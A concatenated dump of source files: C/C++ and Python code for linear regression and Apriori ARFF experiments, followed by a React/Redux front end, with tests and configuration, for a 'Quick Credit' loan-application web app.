k,int n){ Samples * train=generateSamples(k*2,n); //printSamples(train); Samples * test=generateSamples(k,n); //test_2(); //Vector * theta=linearRegression(train); //printSamples(test); Vector * theta=learn(train,0.1,0.01); printVector(theta); double error=mse(theta,train); printf("Error %f \n",error); } Samples * generateSamples(int k,int n){ srand(time(NULL)); Samples * samples=makeSamples(k,n); for(int i=0;i<samples->k;i++){ Sample * s=samples->s[i]; randomVector(s->x); s->y=eval(s->x); } return samples; } double eval(Vector * x){ double y; double sign=1.0; for(int i=0;i<x->n;i++){ y+=sign*x->data[i]; sign*=-1.0; } return y;//+eps(); } double eval2(Vector * x){ double y; double sign=1.0; //for(int i=0;i<x->n;i++){ y+=x->data[1]; //sign*=-1.0; //} return y;//+eps(); } double eps(){ return (randomDouble() - 5.0)/10.0; } Vector * randomVector(Vector * v){ for(int i=1;i<v->n;i++){ v->data[i]=randomDouble(); } return v; } double randomDouble(){ double d=(double) (rand() % 1000); return d/100; } int main(){ test(1000,3); } <file_sep>import representation,callApriori,re,bow def saveArffFile(expResult,pca,filename="apriori.arff"): arff=getArffFile(expResult,pca,False) arrfFile = open(filename,'w') arrfFile.write(arff) arrfFile.close() def getArffFile(expResult,pca,discrete=False): arffFile="@RELATION aprioriDataset\n" arffFile=addAttributes(expResult.keys(),arffFile,pca,discrete) if(discrete): discretize(expResult) arffFile=addSamples(expResult,pca,arffFile) return arffFile def addAttributes(datasets,arffFile,pca,discrete=False): stats=representation.getAttributes() for attrName in stats: arffFile=addAttribute(attrName,arffFile) if pca!=None: for attrName in bow.pcaStats: arffFile=addAttribute(attrName,arffFile) arffFile=addAttribute("minSup",arffFile) arffFile=addAttribute("minConf",arffFile) arffFile=addAttribute("workers",arffFile) if(discrete): arffFile+="@attribute class {negative,positive}\n" else: arffFile=addAttribute("time",arffFile) return arffFile def addAttribute(attrName,arffFile): attrName="@attribute "+ attrName + " numeric\n" arffFile+=attrName return arffFile def addSamples(expResult,pca,arffFile): arffFile+="@data\n" for dataset in expResult.keys(): for instance in expResult[dataset]: sample=getStats(dataset) if pca!=None: stats=pca[dataset] sample+=bow.toStr(stats) sample+=instance.__str__() arffFile+=sample return arffFile def getStats(dataset): sample="" stats=representation.getStats(dataset) for key in stats.keys(): sample+=str(stats[key])+"," return sample def parseArff(filename): arff=readArff(filename) attr,data=arff.split("@data\n") dim,attrNames=parseAttr(attr) points,labels=parsePoints(data) dataset=gen.createNewDataset(points,labels,dim) return dataset,attrNames def readArff(filename): file=open(filename,'r') arff=file.read() file.close() return arff def parseAttr(attr): lines=attr.split("\n") attrNames=[] reg = re.compile('@attribute(.)+numeric(.)*') dim=0 for line in lines: if(reg.match(line)): dim+=1 name=extractAttrName(line) attrNames.append(name) return dim,attrNames def extractAttrName(line): line=line.replace("numeric","") return line.replace("@attribute","") def parsePoints(data): lines=data.split("\n") lines=filter(lambda l: len(l)>0.0,lines) lines=map(lambda x:x.split(","),lines) labels=map(lambda x:x.pop(-1),lines) points=map(toFloat,lines) labels=map(toCat,labels) return points,labels def discretize(expResult): for dataset in expResult.values(): average=0.0 for result in dataset: average+=result.time average/=len(dataset) threshold=1.1*average for result in dataset: if(threshold<result.time): result.time="negative" else: result.time="positive" def toFloat(rawPoint): return map(float,rawPoint) def toCat(raw): p = re.compile(r"true|false") if(p.match(raw)): if(raw=="true"): return 1.0 return -1.0 return 0.0 example={'/home/user/Desktop/magisterka/apriori/datasets/mine.data': 1269L, '/home/user/Desktop/magisterka/apriori/datasets/gen.data': 1112L} example2={ '/home/user/Desktop/magisterka/apriori/datasets/mine.data': callApriori.AprioriParametrs(0.5,0.5,1,1269L), '/home/user/Desktop/magisterka/apriori/datasets/gen.data' : callApriori.AprioriParametrs(0.5,0.5,1,1112L) } if __name__ == '__main__': saveArffFile(example2) #print(getArffFile(example)) <file_sep>#include <iostream> #include <sstream> #include <string> #include <fstream> #include "lsm.c" using namespace std; Samples * readFile(char * filename){ ifstream infile(filename); // for example string line = ""; int n=0,k=0; while (getline(infile, line)){ k=0; stringstream strstr(line); string word = ""; while (getline(strstr,word, ',')){ //cout << word << '\n'; k++; } n++; } infile.close(); Samples * samples=makeSamples(n,k); ifstream infile2(filename); int i=0,j=0; while (getline(infile2, line)){ j=0; stringstream strstr(line); string word = ""; while (getline(strstr,word, ',')){ double temp = (double)atof(word.c_str()); if(j==k-1){ samples->s[i]->y=temp; }else{ samples->s[i]->x->data[j]=temp; } j++; } i++; } infile2.close(); return samples; } int main(int argc,char * argv[]){ if(argc<3){ printf("Too few arguments \n"); return 1; } //printf(" %s \n",argv[1]); Samples *train=readFile(argv[1]); //Samples * test=readFile(argv[2]); Vector * theta=learn(train,0.00001,100.0); printVector(theta); // printSamples(samples); //printf(" %s \n",argv[2]); //printf(" %s \n",argv[3]); return 0; } <file_sep>#include <stdio.h> #include <stdlib.h> #include "lsm.c" #include <math.h> typedef struct Matrix{ int n; int k; double ** data; } Matrix; void normalize(int i,Matrix *m,Matrix * Id); Vector * solve(Matrix* m,Vector * v); void printMatrix(Matrix * m); void normalize2(int i,Matrix *m,Matrix * r); Vector * linearRegression(Samples * s); Matrix * makeMatrix(int n,int k){ Matrix * matrix=(Matrix*) malloc(sizeof(Matrix)); matrix->n=n; matrix->k=k; matrix->data=(double**) malloc(n*sizeof(double*)); for(int i=0;i<n;i++){ matrix->data[i]=(double*) malloc(k*sizeof(double)); for(int j=0;j<k;j++){ matrix->data[i][j]=0.0; } } return matrix; } Matrix * identity(int n){ Matrix * Id=makeMatrix(n,n); for(int i=0;i<n;i++){ Id->data[i][i]=1.0; } return Id; } Matrix * transpose(Matrix * matrix){ Matrix * trans= makeMatrix(matrix->k,matrix->n); for(int i=0;i<trans->n;i++){ for(int j=0;j<trans->k;j++){ trans->data[i][j]=matrix->data[j][i]; } } return trans; } Vector * multiply(Matrix * m,Vector * v){ Vector * nv=makeVector(m->n); for(int i=0;i<nv->n;i++){ for(int j=0;j<v->n;j++){ nv->data[i]+= v->data[j] * m->data[i][j]; } } return nv; } Matrix * multiply(Matrix * m1,Matrix * m2){ Matrix * nm= makeMatrix(m1->n,m2->k); //printMatrix(nm); for(int i=0;i<nm->n;i++){ for(int j=0;j<nm->k;j++){ for(int t=0;t<m1->k;t++){ nm->data[i][j]+=m1->data[i][t]*m2->data[t][j]; } } } return nm; } Matrix * gauss(Matrix * m){ int i,j; Matrix * r=identity(m->n); for(i=0;i<m->n-1;i++){ normalize(i,m,r); double pivot=m->data[i+1][i]; for(j=0;j<m->n;j++){ m->data[i+1][j]-=pivot*m->data[i][j]; r->data[i+1][j]-=pivot*r->data[i][j]; } } for(i=m->n-1;0<i;i--){ normalize2(i,m,r); double pivot=m->data[i-1][i]; for(j=m->n-1;0<=j;j--){ m->data[i-1][j]-=pivot*m->data[i][j]; r->data[i-1][j]-=pivot*r->data[i][j]; } } //printMatrix(m); //printf("$$$$$$$$$$$$$$$\n"); //printMatrix(r); return r; } void normalize(int i,Matrix *m,Matrix * r){ double pivot=m->data[i][i]; if(pivot!=0){ for(int j=0;j<m->n;j++){ m->data[i][j]/=pivot; r->data[i][j]/=pivot; } } } void normalize2(int i,Matrix *m,Matrix * r){ double pivot=m->data[i][i]; if(pivot!=0){ for(int j=m->n-1;j>=0;j--){ m->data[i][j]/=pivot; r->data[i][j]/=pivot; } } } Vector * solve(Matrix* m,Vector * v){ Vector * s=makeVector(v->n); for(int i=v->n-1;i>=0; i--){ s->data[i]=v->data[i]; for(int j=0;j<v->n; j++){ s->data[i]-=s->data[i]; } } return s; } Matrix * extractMatrix(Samples * s){ Matrix * m= makeMatrix(s->k,s->n+1); for(int i=0;i<m->n;i++){ for(int j=0;j<m->k;j++){ m->data[i][j]= s->s[i]->x->data[j]; } } return m; } Vector * extractVector(Samples * s){ Vector * v=makeVector(s->k); for(int i=0;i<v->n;i++){ v->data[i]=s->s[i]->y; } return v; } void printMatrix(Matrix * m){ for(int i=0;i<m->n;i++){ for(int j=0;j<m->k;j++){ printf(" %f ",m->data[i][j]); } printf(" \n"); } } void test_gauss(){ Matrix * m =makeMatrix(3,3); m->data[0][0]=2.0; m->data[0][1]=-1.0; m->data[0][2]=0.0; m->data[1][0]=-1.0; m->data[1][1]=2.0; m->data[1][2]=-1.0; m->data[2][0]=0.0; m->data[2][1]=-1.0; m->data[2][2]=2.0; gauss(m); } void test_mult(){ Matrix * m1 =makeMatrix(2,3); Matrix * m2 =makeMatrix(3,2); m1->data[0][0]=1.0; m1->data[0][1]=2.0; m1->data[0][2]=3.0; m1->data[1][0]=4.0; m1->data[1][1]=5.0; m1->data[1][2]=6.0; m2->data[0][0]=7.0; m2->data[0][1]=8.0; m2->data[1][0]=9.0; m2->data[1][1]=10.0; m2->data[2][0]=11.0; m2->data[2][1]=12.0; Matrix * mn= multiply( m1,m2); printMatrix(mn); } void test_2(){ Samples * s =makeSamples(5,1); s->s[0]->x->data[1]=95.0; s->s[1]->x->data[1]=85.0; s->s[2]->x->data[1]=80.0; s->s[3]->x->data[1]=70.0; s->s[4]->x->data[1]=60.0; s->s[0]->y=85.0; s->s[1]->y=95.0; s->s[2]->y=70.0; s->s[3]->y=65.0; s->s[4]->y=70.0; Vector * theta=linearRegression(s); printVector(theta); } Vector * linearRegression(Samples * s){ //test_gauss(); Matrix * x=extractMatrix(s); Vector * y=extractVector(s); Matrix * x_t=transpose(x); // printMatrix(x_t); Matrix * x_2=multiply(x_t, x); // multiply(x_t, x); // printMatrix(x_2); Matrix * x_r=gauss(x_2); //printMatrix(x_r); Matrix * x_3= multiply(x_r, x_t); //printMatrix(x_3); Vector * theta = multiply(x_3, y); //printMatrix(x_3); //printf("*****************\n"); //printVector(y); return theta; }
201a35e06ba99c9c176f4f19f5512fbd94740929
[ "Java", "C", "Python" ]
32
Python
tjacek/Magisterka
0de97c4c1a5764a9c3ae9d413f1d772a70721685
1f40593e15badbaf7efbee04213c4622608cbf28
refs/heads/develop
<repo_name>OdunayoOkebunmi/Quick_Credit_UI<file_sep>/src/components/layouts/pages/home/Home.js import React, { Fragment } from 'react'; import '@Common/styles/_base.scss'; import Header from '@Layouts/header/Header'; import Stories from '@Layouts/stories/Stories'; import LoanCalculator from '@Layouts/loan-calculator/LoanCalculator'; import Footer from '@Layouts/footer/Footer'; const Home = () => ( <Fragment> <div className="container"> <Header /> <LoanCalculator /> <Stories /> <Footer /> </div> </Fragment> ); export default Home; <file_sep>/src/app.js import '@babel/polyfill'; import React from 'react'; import { BrowserRouter as Router, Switch, Route } from 'react-router-dom'; import { ToastContainer } from 'react-toastify'; import PrivateRoute from '@Common/private-routes/PrivateRoutes'; import AdminRoute from '@Common/admin-routes/AdminRoute'; import Home from '@Pages/home/Home'; import SignUp from '@Pages/signup/SignUp'; import SignIn from '@Pages/signin/SignIn'; import Dashboard from '@Pages/dashboard/Dashboard'; import AdminDashboard from '@Pages/adminDashboard/AdminDashboard'; import CreateLoan from '@Pages/createLoan/CreateLoan'; import PageNotFound from './components/PageNotFound'; import 'react-toastify/dist/ReactToastify.css'; const App = () => ( <> <ToastContainer /> <Router> <Switch> <Route exact path="/" component={Home} /> <Route exact path="/signup" component={SignUp} /> <Route exact path="/signin" component={SignIn} /> <Route exact path="/loan-application" component={CreateLoan} /> <AdminRoute exact path="/admin-dashboard" component={AdminDashboard} /> <PrivateRoute exact path="/dashboard" component={Dashboard} /> <Route component={PageNotFound} /> </Switch> </Router> </> ); export default App; <file_sep>/src/components/layouts/pages/adminDashboard/AdminDashboard.js import React from 'react'; import DashboardHeader from '@Common/dashboard/DashboardHeader'; import AdminDashboardSidebar from '@Common/dashboard/AdminDashboardSidebar'; import MainContent from './MainContent'; import '@Common/styles/dashboard.scss'; import './MainContent.scss'; const AdminDashboard = () => ( <div className="dashboard-container"> <DashboardHeader /> <div className="content"> <AdminDashboardSidebar /> <MainContent /> </div> </div> // <>Hello</> ); export default AdminDashboard; <file_sep>/README.md [![CircleCI](https://circleci.com/gh/OdunayoOkebunmi/Quick_Credit_UI.svg?style=svg)](https://circleci.com/gh/OdunayoOkebunmi/Quick_Credit_UI) [![Test Coverage](https://api.codeclimate.com/v1/badges/a7f0a48174e7df407fd4/test_coverage)](https://codeclimate.com/github/OdunayoOkebunmi/Quick_Credit_UI/test_coverage) [![Maintainability](https://api.codeclimate.com/v1/badges/a7f0a48174e7df407fd4/maintainability)](https://codeclimate.com/github/OdunayoOkebunmi/Quick_Credit_UI/maintainability) [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)   # Quick-Credit > Quick Credit is an online lending platform that provides short term soft loans to individuals. ## Netlify Deployment https://quickcredit.netlify.app/ ## Pivotal Tracker Stories https://www.pivotaltracker.com/n/projects/2388490 ## API Documentation https://quick-credit-odunayo.herokuapp.com/api-docs ## Table of Content * [Getting Started](#getting-started) * [Installation](#installation) * [Test](#test) * [Linting Style](#linting-style) * [Built With](#built-with) * [Author](#author) ## Getting Started ### Installation 1. Clone this repository into your local machine: ``` e.g git clone https://github.com/OdunayoOkebunmi/Quick_Credit_UI ``` 2. Install dependencies ``` e.g npm install. ``` 3. Start the application by running the dev-server script. ``` e.g npm run dev-server ``` ### Test run test using ```npm test```. ### Linting Style * ESLint with Airbnb style guide. ## Built With * ReactJS * Redux ## Author * [<NAME>](https://twitter.com/OdunayoO_) ## License This project is licensed under the MIT license - see the LICENSE.md file for details. <file_sep>/src/components/layouts/pages/adminDashboard/MainContent.js import React, { Component } from 'react'; import { connect } from 'react-redux'; import PropTypes from 'prop-types'; import { fetchAllLoans } from '@Actions/loanActions'; class MainContent extends Component { constructor(props) { super(props); this.state = { loans: [], }; } async componentDidMount() { try { const { fetchAllLoans: getAllLoans } = this.props; const loans = await getAllLoans(); this.setState({ loans }); } catch (error) { throw error; } } formatDate(date) { const currentDatetime = new Date(date); const formattedDate = `${currentDatetime.getDate()}-${currentDatetime.getMonth() + 1}-${currentDatetime.getFullYear()}`; return formattedDate; } renderTableData() { const { loans } = this.state; return loans.map((data, index) => { const { id, email, tenor, amount, paymentInstallment, interest, createdOn, } = data; return ( <tr key={index}> <td>{id}</td> <td>{email}</td> <td>{tenor}</td> <td>{amount}</td> <td>{paymentInstallment}</td> <td>{interest}</td> <td>{this.formatDate(createdOn)}</td> <td>{}</td> </tr> ); }); } render() { return ( <main className="user-dashboard-view"> <div className="user-dashboard__history"> <h3 className="heading-secondary">Transaction details</h3> <table className="user-dashboard__history--table"> <thead> <tr> <th>Loan ID</th> <th>Email</th> <th>Tenor</th> <th>Amount</th> <th>Monthly Installemnts</th> <th>Interest</th> <th>Date Created</th> <th>Action</th> </tr> </thead> <tbody>{this.renderTableData()}</tbody> </table> </div> </main> ); } } MainContent.propTypes = { fetchAllLoans: PropTypes.func.isRequired, }; export default connect(null, { fetchAllLoans })(MainContent); <file_sep>/src/components/common/dashboard/DashboardSidebar.js import React, { Component } from 'react'; import PropTypes from 'prop-types'; import { connect } from 'react-redux'; import { withRouter } from 'react-router-dom'; import { userLogOut } from '@Actions/authActions'; import DashboardSidebarNav from './DashboardSidebarNav'; class DashboardSidebar extends Component { userLogOut = () => { const { quit, history } = this.props; return quit(history); }; render() { return ( <nav className="sidebar"> <ul className="side-nav"> <DashboardSidebarNav classNameList="side-nav__item side-nav__item--active" to="/dashboard" classNameLink="side-nav__link" text="Dashboard" /> <DashboardSidebarNav classNameList="side-nav__item" to="/loan-application" classNameLink="side-nav__link" text="Apply for loans" /> <DashboardSidebarNav classNameList="side-nav__item" to="/profile" classNameLink="side-nav__link" text="Profile" /> <DashboardSidebarNav classNameList="side-nav__item" to="/" classNameLink="side-nav__link" text="Log Out" onClick={this.userLogOut} /> </ul> </nav> ); } } DashboardSidebar.propTypes = { history: PropTypes.object.isRequired, quit: PropTypes.func.isRequired, }; const mapDispatchToProps = dispatch => ({ quit: history => dispatch(userLogOut(history)), }); export default connect(null, mapDispatchToProps)(withRouter(DashboardSidebar)); <file_sep>/src/__tests__/components/LoanCalculator.test.js import React from 'react'; import { shallow, mount } from 'enzyme'; import LoanCalculator from '@Layouts/loan-calculator/LoanCalculator'; describe('Home', () => { it('should render without crashing', () => { mount(<LoanCalculator />); }); }); describe('Loan Calculator', () => { let mountedComponent; let props; const loanCalculator = () => { if (!mountedComponent) { mountedComponent = shallow( <LoanCalculator {...props} />, ); } return mountedComponent; }; beforeEach(() => { props = { placeholder: 'some text', name: 'name', value: 23, error: 'some error', type: 'number', handleInputChange: jest.fn(), }; }); it('should mount with handleInputChange()', () => { const event = { target: {} }; const onChangeSpy = jest.spyOn(loanCalculator().instance(), 'handleInputChange'); loanCalculator().instance().handleInputChange(event); expect(onChangeSpy).toHaveBeenCalledTimes(1); }); it('should mount with handleFormSubmit()', () => { const event = { preventDefault: jest.fn() }; const onFormSubmit = jest.spyOn(loanCalculator().instance(), 'handleFormSubmit'); loanCalculator().instance().handleFormSubmit(event); expect(onFormSubmit).toHaveBeenCalledTimes(1); }); }); <file_sep>/src/utils/setAuthToken.js import axios from 'axios'; import jwtDecode from 'jwt-decode'; // export const setAuthorizationToken = (token) => { // if (token) { // axios.defaults.headers.common.Authorization = `Bearer ${token}`; // } else { // delete axios.defaults.headers.common.Authorization; // } // }; const instance = axios.create({ baseURL: process.env.API_URL, }); export const setAuthorizationToken = (token) => { if (!token) { delete instance.defaults.headers.common.Authorization; } instance.defaults.headers.common.Authorization = `Bearer ${token}`; }; export const checkAuthorization = (token) => { let isAuthenticated; if (token) { isAuthenticated = false; const { exp } = jwtDecode(token); const currentTimeInSeconds = Date.now() / 1000; if (exp > currentTimeInSeconds) { isAuthenticated = true; return isAuthenticated; } } }; export const checkUserType = (token) => { if (token) { const { payload: { isAdmin } } = jwtDecode(token); return isAdmin; } }; <file_sep>/src/components/layouts/header/authenticatedHeader/authenticatedHeader.js import React from 'react'; import { Link } from 'react-router-dom'; import PropTypes from 'prop-types'; import Logo from '@Common/logo/Logo'; import { connect } from 'react-redux'; import '../Navbar.scss'; const AuthenticatedHeader = ({ auth }) => { const { user: { payload: { isAdmin } } } = auth; return ( <nav className="nav-bar"> <Link to="/"> <Logo /> </Link> <ul className="nav-items"> { isAdmin ? ( <li> <Link to="/admin-dashboard" className=" nav-link nav-link__register"> Admin Dashboard </Link> </li> ) : ( <li> <Link to="/dashboard" className=" nav-link nav-link__register"> Dashboard </Link> </li> ) } </ul> </nav> ); }; AuthenticatedHeader.propTypes = { auth: PropTypes.object.isRequired, }; const mapStateToProps = state => ({ auth: state.auth, }); export default connect(mapStateToProps)(AuthenticatedHeader); <file_sep>/src/components/layouts/pages/dashboard/MainContent.js import React from 'react'; const MainContent = () => ( <main className="user-dashboard-view"> <div className="user-dashboard__history"> <h3 className="heading-secondary"> Transaction details </h3> <table className="user-dashboard__history--table"> <thead> <tr> <th>Loan ID</th> <th>Date Created</th> <th>Monthly Installments ₦</th> <th>Total Amount ₦</th> <th>Action</th> </tr> </thead> <tbody /> </table> </div> </main> ); export default MainContent; <file_sep>/src/redux/actions/loanActions.js import { toast } from 'react-toastify'; import API_SERVICE from '@Utils/axiosInstance'; import { CREATE_LOAN, ACTION_LOADING, NOT_LOADING, FETCH_LOANS, } from './types'; export const actionLoading = () => ({ type: ACTION_LOADING, payload: { status: 'actionLoading', error: null, data: {}, }, }); export const createUserLoan = data => ({ type: CREATE_LOAN, payload: { status: 'loanCreated', error: null, data, }, }); export const getAllLoans = loans => ({ type: FETCH_LOANS, payload: { status: 'loansFetched', error: null, loans, }, }); export const actionFailed = error => ({ type: NOT_LOADING, payload: { status: 'actionFailed', error, data: {}, }, }); export const createLoan = (details, history) => async (dispatch) => { dispatch(actionLoading()); try { const response = await API_SERVICE.post('/loans', details); const { data: { data } } = response; dispatch(createUserLoan(data)); history.push('/dashboard'); toast.dismiss(); toast.success('Loan Application Successful'); } catch (errorResponse) { const { data: { error } } = errorResponse.response; toast.dismiss(); toast.error(error, { autoClose: 10000 }); dispatch(actionFailed(error)); } }; export const fetchAllLoans = () => async (dispatch) => { dispatch(actionLoading()); try { const response = await API_SERVICE.get('/loans'); const { data: { data } } = response; dispatch(getAllLoans(data)); return data; } catch (errorResponse) { const { data: { error } } = errorResponse.response; toast.dismiss(); toast.error(error, { autoClose: 10000 }); dispatch(actionFailed(error)); } }; <file_sep>/.eslintrc.js module.exports = { "env": { "browser": true, "es6": true, "jest": true }, "extends": "airbnb", "globals": { "Atomics": "readonly", "SharedArrayBuffer": "readonly" }, "parser": "babel-eslint", "parserOptions": { "ecmaFeatures": { "jsx": true, "arrowFunctions": true }, "ecmaVersion": 2018, "sourceType": "module" }, "plugins": [ "react", "import" ], "rules": { "react/jsx-filename-extension": [1, { "extensions": [".js", ".jsx"] }], "react/prefer-stateless-function": 0, "react/forbid-prop-types": 0, "react/no-array-index-key": 0, "import/no-extraneous-dependencies": [2, { "devDependencies": ["**/*.test.js", "**/*.spec.js", "src/setupTests.js", "build-utils/*"] }], "one-var": 0, "one-var-declaration-per-line": 0, "new-cap": 0, "consistent-return": 0, "no-param-reassign": 0, "comma-dangle": 2, "no-console": "off", "class-methods-use-this": 0, "curly": ["error", "multi-line"], "import/no-unresolved": 0, "no-shadow": ["error", { "allow": ["req", "res", "err"] }], "jsx-a11y/label-has-for": 0, "jsx-a11y/label-has-associated-control": 0, "jsx-a11y/anchor-is-valid": 0 }, "settings": { "import/resolver": { "webpack": { "config": "build-utils/webpack.common.js" } } }, };<file_sep>/src/components/layouts/footer/Footer.js import React from 'react'; import { BrowserRouter, Link } from 'react-router-dom'; import './Footer.scss'; const Footer = () => ( <footer className="footer"> <ul className="nav"> <li className="nav__item"> <BrowserRouter> <Link to="/signin" className="nav__link"> Contact Us </Link> </BrowserRouter> </li> <li className="nav__item"> <BrowserRouter> <Link to="/signin" className="nav__link"> Blog </Link> </BrowserRouter> </li> <li className="nav__item"> <BrowserRouter> <Link to="/signin" className="nav__link"> Privacy and Security </Link> </BrowserRouter> </li> <li className="nav__item"> <BrowserRouter> <Link to="/signin" className="nav__link"> Terms and Conditions </Link> </BrowserRouter> </li> </ul> <p className="copyright"> &copy; Copyright 2019. All rights reserved. <br /> <NAME> </p> </footer> ); export default Footer; <file_sep>/src/__tests__/components/SignIn.test.js import React from 'react'; import configureMockStore from 'redux-mock-store'; import thunk from 'redux-thunk'; import { BrowserRouter as Router } from 'react-router-dom'; import { mount } from 'enzyme'; import SignIn, { SignInComponent } from '@Layouts/pages/signin/SignIn'; const initialState = { auth: { error: null, user: {}, isAuthenticated: false, status: 'status', }, }; const props = { history: { push: jest.fn(), }, }; const middlewares = [thunk]; const mockStore = configureMockStore(middlewares); const store = mockStore(initialState); describe('<SignIn/>', () => { it('should render without crashing', () => { mount( <Router> <SignIn store={store} {...props} /> </Router>, ); }); it('Should render along with children component', () => { const component = mount( <Router> <SignIn store={store} {...props} /> </Router>, ); expect(component.find('button')).toHaveLength(1); expect(component.find('input')).toHaveLength(2); component.unmount(); }); it('should call onChange props for email input', () => { const component = mount( <Router> <SignIn store={store} {...props} /> </Router>, ); const emailInput = component.find('input[type="email"]'); emailInput.simulate('change', { persist: () => { }, target: { name: 'email', value: '<EMAIL>', }, }); expect(component.find('input[type="email"]').length).toEqual(1); expect(emailInput.html()).toMatch('<EMAIL>'); component.unmount(); }); it(' should call onSubmit prop function when form is submitted', () => { const handleSignIn = jest.fn(); const component = mount( <Router> <SignInComponent store={store} onSubmit={handleSignIn} {...props} /> </Router>, ); const form = component.find('form'); form.simulate('submit'); expect(handleSignIn).toHaveBeenCalledTimes(1); component.unmount(); }); }); <file_sep>/src/__tests__/components/Header.test.js import React from 'react'; import { mount } from 'enzyme'; import { BrowserRouter as Router } from 'react-router-dom'; import Header from '@Layouts/header/Header'; describe('Header', () => { it('should render without crashing', () => { mount( <Router> <Header /> </Router>, ); }); }); <file_sep>/src/redux/actions/authActions.js /* eslint-disable no-unused-vars */ import { toast } from 'react-toastify'; import jwtDecode from 'jwt-decode'; import API_SERVICE from '@Utils/axiosInstance'; import { setAuthorizationToken } from '@Utils/setAuthToken'; import { AUTH_FAILED, AUTH_LOADING, SET_CURRENT_USER, LOGOUT, } from './types'; export const authLoading = () => ({ type: AUTH_LOADING, }); export const authFailed = () => ({ type: AUTH_FAILED, }); export const setCurrentUser = decoded => ({ type: SET_CURRENT_USER, payload: decoded, }); export const logoutUser = () => ({ type: LOGOUT, }); export const userSignUp = (userData, history) => async (dispatch) => { dispatch(authLoading()); try { const response = await API_SERVICE.post('/auth/signup', userData); const { data: { data: { token }, }, } = response; localStorage.setItem('jwtToken', token); setAuthorizationToken(token); dispatch(setCurrentUser(jwtDecode(token))); history.push('/signin'); toast.dismiss(); toast.success('Registration successful'); } catch (err) { const { data: { error }, } = err.response; toast.dismiss(); toast.error(error, { autoClose: 10000 }); dispatch(authFailed(error)); } }; export const userSignIn = (userData, history) => async (dispatch) => { dispatch(authLoading()); try { const response = await API_SERVICE.post('/auth/signin', userData); const { data: { data: { token }, }, } = response; const { payload: { isAdmin }, } = jwtDecode(token); localStorage.setItem('jwtToken', token); setAuthorizationToken(token); dispatch(setCurrentUser(jwtDecode(token))); const pushLocation = !isAdmin ? '/dashboard' : '/admin-dashboard'; history.push(pushLocation); toast.dismiss(); toast.success('Logged In successful'); } catch (err) { const { data: { error }, } = err.response; toast.dismiss(); toast.error(error, { autoClose: 10000 }); dispatch(authFailed(error)); } }; export const userLogOut = history => (dispatch) => { setAuthorizationToken(false); dispatch(logoutUser()); localStorage.removeItem('jwtToken'); history.push('/'); }; <file_sep>/src/utils/axiosInstance.js import axios from 'axios'; export const API_URL = process.env.NODE_ENV === 'development' ? 'http://localhost:3000/api/v1' : 'https://quick-credit-backend.herokuapp.com/api/v1'; export const instance = axios.create({ baseURL: API_URL, }); const token = localStorage.getItem('jwtToken'); if (token) { instance.defaults.headers.common.Authorization = `Bearer ${token}`; } const API_SERVICE = { get(endpoint) { return instance.get(endpoint); }, post(endpoint, data) { return instance.post(endpoint, data); }, patch(endpoint, data) { return instance.patch(endpoint, data); }, delete(endpoint) { return instance.delete(endpoint); }, }; export default API_SERVICE; <file_sep>/src/components/common/logo/Logo.js import React from 'react'; const Logo = () => ( <img srcSet="https://res.cloudinary.com/dnl5kwhe6/image/upload/v1567563417/Quick_Credit/logo-sm_o2xdjf.png 1x, https://res.cloudinary.com/dnl5kwhe6/image/upload/v1567563417/Quick_Credit/logo-md_a1owld.png 2x" alt="Quick Credit logo" src="https://res.cloudinary.com/dnl5kwhe6/image/upload/v1567563417/Quick_Credit/logo-sm_o2xdjf.png" className="logo" /> ); export default Logo; <file_sep>/src/components/layouts/pages/createLoan/CreateLoan.js import React, { Component } from 'react'; import { connect } from 'react-redux'; import PropTypes from 'prop-types'; import InputField from '@Common/input/InputField'; import Button from '@Common/button/Button'; import { createLoan } from '@Actions/loanActions'; import './CreateLoan.scss'; class CreateLoan extends Component { state = { firstName: '', lastName: '', amount: 0, tenor: 0, } handleInputChange = (event) => { this.setState({ [event.target.name]: event.target.value }); } handleCreateLoan = (event) => { event.preventDefault(); const { firstName, lastName, amount, tenor, } = this.state; const loanData = { firstName, lastName, amount: Number(amount), tenor: Number(tenor), }; const { onSubmit, history } = this.props; onSubmit(loanData, history); } render() { const { amount, tenor, } = this.state; return ( <section className="section-loan-apply"> <div className="form-container"> <h2 className="heading-secondary"> LOAN APPLICATION </h2> <form id="loan-apply-form" onSubmit={this.handleCreateLoan}> <div className="flex-group"> <div> <label htmlFor="amount">Loan Amount ₦</label> <InputField required value={amount} type="number" id="amount" className="form-control" name="amount" onChange={this.handleInputChange} /> </div> <div> <label htmlFor="user-interest-amount">Interest ₦</label> <InputField id="interest" className="form-control" placeholder="5%" disabled name="user-interest-amount" onChange={this.handleInputChange} /> </div> <div> <label htmlFor="tenor">Tenor</label> <InputField id="tenor" value={tenor} type="number" min="1" max="12" className="form-control" name="tenor" onChange={this.handleInputChange} /> </div> </div> <Button type="submit" className="btn btn--block" id="submit-btn" text="Apply" /> </form> </div> </section> ); } } CreateLoan.propTypes = { onSubmit: PropTypes.func.isRequired, history: PropTypes.shape({}).isRequired, }; const mapStateToProps = state => ({ data: state.loans.data, error: state.loans.error, }); const mapDispatchToProps = dispatch => ({ onSubmit: (loanData, history) => dispatch(createLoan(loanData, history)), }); export default connect(mapStateToProps, mapDispatchToProps)(CreateLoan); <file_sep>/src/components/common/button/Button.js import React from 'react'; import PropTypes from 'prop-types'; import '@Common/styles/_buttons.scss'; const Button = ({ className, id, text }) => ( <div className="form-group"> <button type="submit" className={className} id={id} > {text} </button> </div> ); Button.propTypes = { className: PropTypes.string.isRequired, id: PropTypes.string.isRequired, text: PropTypes.string.isRequired, }; export default Button; <file_sep>/src/components/common/dashboard/DashboardSidebarNav.js import React from 'react'; import { Link } from 'react-router-dom'; import PropTypes from 'prop-types'; const DashboardSidebarNav = ({ classNameList, classNameLink, to, text, ...rest }) => ( <li className={classNameList}> <Link to={to} className={classNameLink} {...rest}> <i className="side-nav__icon fas fa-edit" /> <span>{text}</span> </Link> </li> ); DashboardSidebarNav.propTypes = { classNameLink: PropTypes.string.isRequired, classNameList: PropTypes.string.isRequired, to: PropTypes.string.isRequired, text: PropTypes.string.isRequired, }; export default DashboardSidebarNav; <file_sep>/src/components/layouts/pages/dashboard/Dashboard.js import React from 'react'; import DashboardHeader from '@Common/dashboard/DashboardHeader'; import DashboardSidebar from '@Common/dashboard/DashboardSidebar'; import MainContent from './MainContent'; import '@Common/styles/dashboard.scss'; import './MainContent.scss'; const Dashboard = () => ( <div className="dashboard-container"> <DashboardHeader /> <div className="content"> <DashboardSidebar /> <MainContent /> </div> </div> ); export default Dashboard; <file_sep>/src/components/layouts/loan-calculator/LoanCalculator.js import React, { Component } from 'react'; 